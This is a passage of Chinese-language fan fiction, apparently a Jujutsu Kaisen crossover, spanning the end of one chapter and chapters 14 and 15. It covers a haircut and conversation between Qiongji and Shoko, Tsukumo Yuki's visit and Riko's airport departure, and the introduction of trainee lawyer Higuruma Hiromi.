说起来——琼纪打出了黑闪,五条悟领悟了反转,夏油杰感受到了极之番。这样来看,伏黑甚尔好像是个效率奇高的版本更新插件。
但当时的情况其实非常惊险。
如果琼纪没有及时赶到,如果当时她没能拦住伏黑甚尔,事情就会变得非常糟糕——天与咒缚的五感,足以令他依靠沿途的蛛丝马迹,追踪到天内与黑井藏身的森林;零咒力对结界术来说等同于建筑,他能毫无障碍地穿过夜蛾正道的布置。
说到底,他们之前的对策都是针对术师,从没想过会遇见这样的对手。
“所以呢?”
硝子拿着剪刀,撩起头发研究从哪里下手,问道,“平将门后来怎么样了?”
“他说他现在姓伏黑诶
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。”
琼纪说。
硝子从后面捏了一下她的脸颊表示疑问。
琼纪一笑:“人都死了,还是可以表示一点尊重的吧。”
“啊。果然杀掉了吗?”
“不知道,当时我去杰那边了。不过我觉得是这样。”
琼纪说,“虽然说着要杀掉,不过不是满状态的敌人,悟没兴趣吧。那个人吃了我一发黑闪啊。反而是那个人,应该很厌恶以这种理由被放过,尤其对面还是悟——所以大概还是死了吧。可以等悟回来再问一下。”
“是自尊心这么强的类型吗?之前的做法,看起来也没有那么光明磊落。”
“比起自尊心来说,应该是更厌恶让自己尊严全无的咒术世界吧。”
想起对方称呼她为加茂家的叛逆,有想要和她聊的事,琼纪一时有点感慨,“虽然是不沾染因果的天与咒缚,不过始终还是背负着禅院家这个诅咒。看来唯有人心不能与天交换。”
“太深沉了哦。”
“那这么说——御三家果然都是垃圾场啊。”
琼纪说,“我好像没有跟你说过,禅院家的直哉还找加茂家要过我呢。要不是加茂家的长老们真的很想要消蚀,要保持毋庸置疑的加茂血脉……应该很乐意做这笔交易。”
硝子说:“你跟悟能玩到一起,真是不容易啊。”
“毕竟悟是笨蛋嘛。”
“你也是笨蛋哦。”
“诶,我也是吗?”
“你是很特别的那种笨蛋,直接可以用名字归类吧。”
硝子说。
琼纪弯了弯唇角。她感受到掉落下来的细碎短发,在脖颈里痒痒的。
春日夜晚带着花香的凉意,从窗外如水一般漫进来。
她忽然说:“硝子。”
“嗯?”
“以后不会再有今天这种事了。回来看见三个人都不见了什么的……”
琼纪说,“不会再让你一个人伤心了。”
硝子的手顿住了。
她沉默了一会,说:“作出这种承诺,差不多算是对自己下诅咒了吧。”
“或许是吧。”
琼纪说,“不过性质不一样。这种诅咒,应该是大家都乐意承担的类型。”
硝子叹了口气。
“我不知道。”
她说,“如果万一,真有糟糕的事情发生,最不幸的肯定是失去了性命的人吧。拼尽全力去战斗的友人失去了一切,活下来的我还夸大自己的悲伤,岂不是太可恶了吗。不过……”
她把额头抵在琼纪的后颈上,“既然你这么说,那我们就说好了。”
“嗯。要立个束缚吗?”
“这种东西,也没有什么可以交换的吧。”
“我不管。反正束缚成立。”
“果然是笨蛋啊。”
“硝子我感觉到你的眼睫毛了。好痒啊。”
“你还是少跟悟一起玩吧。”
就在这时候,旁边的窗户被一股恰到好处的咒力推开。清新的夜风霎时涌入。两个男生坐着蝠鲼飞进来,抱着饮料一脸的心有余悸。
一落地就是大声的告状。
“刚才在那边碰到了一个奇怪的女人!!”
五条悟大声嚷嚷。
夏油杰也是一副难以言喻的表情:“大晚上的忽然出现……”
五条悟:“见面就问喜欢什么类型的女人。怎么有这种人啊?!”
两人一股脑地说完,后知后觉地想起刚才听到的一点末尾。
夏油杰:“咦?在说悟的坏话?啊打扰了。”
五条悟:“不准!!怎么有这种人啊!!”
14. 第 14 章
“我说——”
房间里闹成一团的时候,忽然有人在窗外气呼呼地说,“不回答我的问题也就算了。跑那么快也太伤人了吧?!”
说话的是一名金色长发的女性。抱着机车头盔,踩着一只姿态嶙峋的骨龙,站在满月无星,夜色深沉的半空里。
见四人都朝自己看了过来,她把护目镜往头顶一推,略过两个被抱怨的男生,对琼纪和硝子露出一个大大的笑容:“初次见面,琼纪君,硝子君。”
她一视同仁地问出了自己的经典问题:“你们喜欢什么类型的男人?”
琼纪、硝子:“……”
两个男生火速投来了一分好奇两分期待七分幸灾乐祸的眼神。
硝子:“现在有点理解他俩的心情了。”
琼纪:“晚上风好大,关窗吧。”
“咦,不要,等一下嘛!”
*
最后坐在桌边吃火锅的人变成了五个。
金发的女性,特级术师九十九由基,也跟他们坐在了一起。咒具化的式神,骨龙“凰轮”在她身后团成一个球,乖巧地窝在头盔里面。
琼纪的小房间里,聚齐了现在这个国家杀伤力最强的四个人。
九十九由基身为特级却不接任务、在国外游手好闲的传闻,由来已久。
——对此由基大声反驳,说她是在探索国外咒灵稀少的原因,做关于“从根源消除咒灵”的研究。
“那种事能办到吗?”
夏油杰有点意外。
“办法有两个。”
由基竖起两根手指,“一是消除咒力,让全人类都变成禅院甚尔——”
在场和甚尔打过的三个人,忍不住想象了一下世界上充满那款肌肉男的场面。
表情都微妙了起来。
“二是让全人类都变成术师,因为咒术师不会产生咒灵。”*
四人都有些惊讶。
“术师不会产生咒灵,真的吗?”
“真的,因为咒力运用效率的缘故。术师身上极少有咒力外泄,也就不会在外界形成咒灵——或者只能形成超弱的咒灵。”
由基说,“当然,除了这些以外,我也在考虑咒力的成因。人类的情绪,是灵魂代谢的残渣。所以最近也在做灵魂方面的研究。”
研究灵魂,听起来就更抽象了。不过琼纪垂下眼睫,没有说什么。
因为——私下里虽然他们都知道,班主任的秘密基地里藏着不得了的东西。
但是只有她完全清楚,那是夜蛾正道在多年的咒术师生涯中,不忍见到年幼的孩子们死去,因此收集了他们灵魂的情报,强行将已死之人挽留在这世上的——返魂人偶*。
“既然都是这么困难的办法,那说不定还有第三个选择啊。”
夏油杰含笑看了一眼琼纪——虽然还是差不多的表情,不过他能看出她是在走神。他说,“比如说呼神护卫。”
琼纪回过神来。夏油冲她微一扬眉。
九十九由基思索:“咦?”
“没什么,当我没说好了。”
得到一个斜睨,夏油杰笑着摆摆手,“九十九小姐,是为了星浆体同化的事情来的吧?”
“叫我前辈就好,我以前也是高专的学生呢。”
九十九由基指给他们看自己的上衣——曾经的高专制服改的。
她看着眼前年轻又强大的后辈们,说,“收到夜蛾先生联络的时候,其实我很意外……没想到你们是这样的想法。”
她从不听咒术界的命令,但这次一接到联络就从国外赶了回来,是因为——她也是星浆体。
是在天元还未有同化需求的时期,抓住机会成长了起来,从而摆脱了既定命运的星浆体。
成为了唯一的特级术师,消耗品的身份当然一笔勾销,何况还有其他适格者的存在。
这件事很隐秘,如今除了高高在上的总监部老人们以外,已经没有多少知情者了。
而琼纪,则是从黑井美里那里知道的。
因为前一天他们玩笑地说起由基时,黑井的反应像是有内情,稍加询问就猜出来了——黑井家族世代侍奉星浆体,多年以前,由基也有自己的黑井。
黑井美里曾从家族里的人那里,听说过九十九由基的事。
作为原星浆体,九十九由基对于同化一事,心情极为复杂矛盾。
她当然厌恶且反对同化。但她是摆脱了同化的人,却也知道同化的必要性。过往数名星浆体的献身,她们与天元共存的事实,也使她无法轻易说出随便天元变成什么怪物的话语。
因此,如果他们决心完成这个任务,她其实没有什么可说的。不管是否有星浆体同化,她唯一怨恨的只有天元。
九十九由基甚至认为,决定“是否执行同化”的责任,不应该由这些年轻的孩子们来承担。
“来的时候我就在想,”
由基说,“无论天元变成了什么样,总监部又说些什么,都由我来担责。你们保护了天内理子,已经完成了最重要的部分,剩下的就交给我吧。”
“那也太逊啦。”
五条悟把玩着一支插瓶的小花,散漫地说,“我们可是最强的,还用不上别人为我们的决定负责。”
夏油杰也微笑着说:“别小看我们啊,前辈。”
“那么,你们告知我这件事,一定有什么是我能做的?”
五条、夏油、硝子,三人都把视线投向了琼纪,眼神中隐约带笑。
琼纪慢慢地开了口。
“我觉得,或许理子会想要一个真正的姐姐大人。”
她说,“当然,这要看你们各自的意思。”
*
几天后,东京羽田国际机场。
“……是的,原本应该直接去美国,由基大人的住所之一。”
黑井美里的脸上,从初见起就一直忧心忡忡的神情,此刻彻底消失了。取而代之的是轻松的笑容,“不过理子大人想要去更多地方看一看,由基大人也觉得这样很好。”
“国外咒灵不多,总监部也难以伸手……”
按照她们商量好的,九十九由基,天内理子,黑井美里,她们三人将首先往南,去追寻能够祛除一切障害的、亚洲的神之诅咒*;接着沿着赤道渡过大洋,去往热情而斑斓的雨林,在沙漠中寻找拥有奇异巫术传统的部落。然后穿越红海向上,路过浪漫的城市与冰雪中的峡湾,最终抵达未来的居住地。
比起天内理子过往的生活,这绝不会是一场轻松的旅行,但她心甘情愿,充满感激。
被束缚于笼中的雀鸟,终于得以展翅,跟随苍鹰一路向西,追逐太阳。
眼神灵动的小少女,认认真真地向四人道谢。
轮到琼纪的时候,理子扑上来抱住了她,把脸埋在她的颈间:“谢谢你,姐姐大人!真的超级喜欢你!”
“要给我们寄明信片哦。”
琼纪摸摸她的头说。
“嗯!一定会的!”
天内理子露出灿烂的笑容。
琼纪也露出微笑。
虽然,从总体上看,这并不是一个毫无阴霾的结局——
前一天,九十九由基找到琼纪,带来了星浆体事件的最新情报。
“那时或许还有备用的适格者,也可能是有新的星浆体出现。总之,我打听到的消息是,天元进行了同化,现在的状态很稳定。”
“……”
琼纪一哂,“这样啊。”
所以总监部才没有派人来追责吗。
看见她的神情,由基斟酌片刻,又说出了自己的推测。
“我不确定这个情报是否可靠。”
她有些犹豫,“我去薨星宫求见过天元。过去他总会见我,但是这一次我被拒绝了。”
“可能是察觉到了我的态度,也可能……只是我个人的猜测。”
她说,“作为星浆体,我能够听见天元身体里,曾经被他同化了的星浆体的声音。”
“这一次拒绝我的会见,或许真有什么不想让我发现的事。”
由基离开以后,琼纪看着手心明灭的咒力光辉,有片刻的沉默。
这一次的事件,他们击败了未曾设想的敌人,保护了想要保护的人,还结识了有力的同盟。他们并没有输,可是也不能说他们就全都赢了。<
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p>或许有另一个无辜的人,在这次事件中付出了性命与自由;真相朦朦胧胧,隐于雾中,没有人抓得住。
在他们四人遇见彼此,所向披靡、未有敌手的一年后,在伏黑甚尔手中,他们第一次真切地品尝到了失败、危机与愤怒。
但这些都还尚在预期之中。这样的感受,是他们即便不曾在自己身上设想,也能够理解的,败北与命悬一刻时的感悟。
然而此刻,由基说起的、那一个悄无声息消失于故事背面的人,以及模糊未明的真相,带给她的,是一种十分陌生、隐约的复杂苦涩。
这样的感触,短暂而真实地掠过她的心头。
——而后,琼纪想。他们并不是救济一切世人、无所不能的神明,也不是追寻真实的侦探。
他们是咒术师。
这时候,有人在她身后问道:“你还好吗?”
这并不是个非常熟悉的声音,但也不全然陌生。她在海滨的微风里见过他,听见过他说话。
琼纪转过身去,看见了赤井秀一。
在海边如侦探般指出真相的人,注视她的脸庞,和她及肩的短发,说:“忽然剪掉了头发,发生了什么吗?”
琼纪说:“没什么。”
——他们是咒术师。在这个世界上,他们并不能救所有人,其他人也并不是他们的责任。能够守护住眼前所见、想要保护之物,就已经是胜利了。
而她、他们,已经握住了更为强大的力量。未来能够做到的事,只会更多。
对着秀一,琼纪难得微微笑了一下:“不过谢谢你问我。”
“……”
秀一一时无言。只是看着在她含笑唇边摇曳的一缕发丝。
他今天来到机场,只背着一个不大的旅行包。摘下了帽子和墨镜,完全显露出了一头黑发,与墨绿色的眼睛。
因此,走过来的五条悟和夏油杰,脸上都浮现出了难以言喻的表情。
琼纪很理解,毕竟伏黑甚尔也是同样的配色。
何况眼前之人虽然并非天与咒缚那样的身形,却也训练有素,是极为高大、外形冷硬的成年男性。
夏油杰伸手要摘五条悟的墨镜,五条悟将他拍开,用手挡在自己纯黑的小墨镜外面。
两人都一脸痛苦:“你在做什么琼纪,快走啊——”
“没关系。”
琼纪瞥了眼秀一额前几缕微卷的头发,说,“天然卷都是好人啦。”
Jump儿童五条悟勉勉强强地说:“噢。”
夏油杰耸耸肩。
两人没有靠得很近,但也没有走开。
所以,其实还是发生了什么的,赤井秀一心想。
但她始终还是一样的风格,秀一也笑了笑,说:“这样就好。”
他凝视她片刻,最终还是什么也没有说,挥挥手离开了。
夏油杰走过来,挑眉笑道:“还以为他会找你要联系方式呢。”
琼纪说:“谁知道呢。”
“问了的话你会给吗?”
“懒得想没有发生的事啦。”
“给了也不代表什么吧。”五条悟不耐烦地说,“哪里有空联系啊。”
“对哦,悟拿到了理子音乐老师的电话号码呢。”
“都说了根本不会联系啊!”
……
而另一边,赤井秀一走进候机的区域,遇见了天内理子与黑井美里,以及与她们在一起的九十九由基。
“啊!”天内理子有些惊讶,“是那个人,''紫色欧石楠''——”
“唔?”
九十九由基饶有兴致地打量秀一片刻。在他的身上,她察觉到微弱的、大约是数日以前的,属于琼纪的咒力信号。
“这位先生。”
她朝秀一走了过去,泰然自若地发问,“你喜欢什么类型的女人?”
在她身后,天内理子捂住了脸,满面通红。又忍不住,有些好奇地从指缝里偷看。
“哦?这种问题……”
赤井秀一手插在口袋里,朝她后面望了一眼,收回视线微微一笑。
“非要说的话……那就是,冷冰冰的天使吧。”
15. 第 15 章
日车宽见,男,24岁,现役司法研修生。
所谓司法研修,即是司法考试的合格者,在分流成为真正的法官、检察官或律师之前,需要进行的实务培训。通常耗时16个月。
日车从来就是一名天才。他是东大法学部出身的精英,毕业当年即通过法考——甚至是今年改制以前,难如登天的旧制度法考;他的司法研修也进行得十分顺利,无论是在研修所的初期基础研修,还是到法院、检察厅与辩护士会的轮转修习,他的成绩都遥遥领先同期,颇受导师赏识。
然后,在研修的末尾,他们遇上了轰动全国的盘星教案件。
那是以对首相的刺杀事件为开端的,对一个声势浩大的有害宗教团体的起底与清洗。
粗略估计,该团体犯下的罪行触犯了上百项法条。
其中包括对一名未成年少女的买凶杀人。盘星教作为杀人罪的共同正犯,同时违反了刑法、宗教法人法与青少年保护育成条例。
除此之外,还有私藏管制刀具与枪械、伤害罪、绑架、欺诈、教唆,不一而足。
总之,是规模相当可观的案件。这类事件可能五十年都遇不上一回,能够参与案件审理,是相当难得的机会;
另一方面,整个司法系统,尤其是东京当地的各部门,都为此忙得晕头转向。如此,这一期的司法研修生便暂缓结业,跟随导师参与工作。
事件起始于四月中的春天,而如今时序已然入夏。
柔和的春风逐渐远去,湿润苍翠的夏日气息弥散开来。
日车宽见穿着一件普通的白色衬衫,站在法院大楼休息室的落地窗前,望着阳光照耀的马路,与马路对面的,绿荫掩映、时令鲜花盛放的公园。
他是稍显寡淡的长相,却有着一双说不上好坏、引人注目的眼
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睛。眼型很大,瞳孔却小,看起来总有些阴郁与无神。眉毛似乎总是皱着,不笑的时候,整张脸显得格外不近人情——而他又确实不苟言笑。
这样的相貌、性格,以及他远逾众人的头脑,使得大部分自认不如的人自发退避;他又是这样古怪的一个人,分明研修的成绩是史无前例的优秀,导师们力荐他成为法官,他却以“我这个人不求上进”的理由拒绝,热衷于以律师身份参与公派的刑事案件——也就是最赚不到钱的案件。
当此时,大家都想要加入最受瞩目、权贵云集的首相遇刺案件时,也只有他,在意的反而是针对未成年少女的买凶杀人未遂事件;甚至不知为何,还经常翻阅长野县十年以前的卷宗与记录。
虽说司法研修生们都是体面人,是普世意义上前途无量的成功者,不至于像学生时代那样欺凌或孤立谁;但是自然也没有什么人主动与他交心。